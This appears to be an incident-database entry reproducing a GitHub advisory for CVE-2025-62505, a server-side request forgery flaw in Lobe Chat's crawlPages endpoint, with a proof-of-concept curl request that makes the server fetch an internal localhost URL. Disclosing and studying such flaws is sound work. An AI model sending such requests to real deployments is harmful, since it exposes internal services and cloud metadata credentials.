INCIDENT MAP

Browse / AI Framework and Platform Flaws / CVE-2025-62505

Lobe Chat vulnerable to Server-Side Request Forgery with native web fetch module

CVE-2025-62505 · 2025-10-17 low

Class
AI Framework and Platform Flaws (filed by a model that read the advisory)
Technique
Server-side request forgery
Affected
@lobehub/chat (npm)
CVSS
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N
EPSS
0.3% chance of exploitation in 30 days

How it works, in short

The crawlPages endpoint fetches client-supplied URLs server-side without filtering internal or metadata addresses, letting callers reach internal services. (Our summary, written by a model. The source text is below.)

Details

Vulnerability Description

---

Vulnerability Overview

- When the client sends an arbitrary URL array and impl: ["naive"] to the tRPC endpoint tools.search.crawlPages, the server issues outbound HTTP requests directly to those URLs. There is no defensive logic that restricts or validates requests to internal networks (127.0.0.1, localhost, private ranges) or metadata endpoints (169.254.169.254).

Vulnerable Code

https://github.com/lobehub/lobe-chat/blob/d942a635b36a231156c60d824afa573af8032572/packages/web-crawler/src/crawImpl/naive.ts#L39-L45

PoC

---

PoC Description

curl Example

curl -sS -X POST 'http://localhost:3010/trpc/tools/search.crawlPages' \
  -H 'Content-Type: application/json' \
  -H 'lobe-auth-dev-backend-api: 1' \
  --data '{"json":{"urls":["http://localhost:8889/internal-api"],"impls":["naive"]}}' | jq -r '.result.data.json.results[0].data.content' | jq .

<img width="1916" height="851" alt="poc" src="https://github.com/user-attachments/assets/f3ad34da-f8ac-4e29-9360-3cf1d1f706d8" />

Impact

---

References

Source: GitHub Advisory Database, used under CC BY 4.0.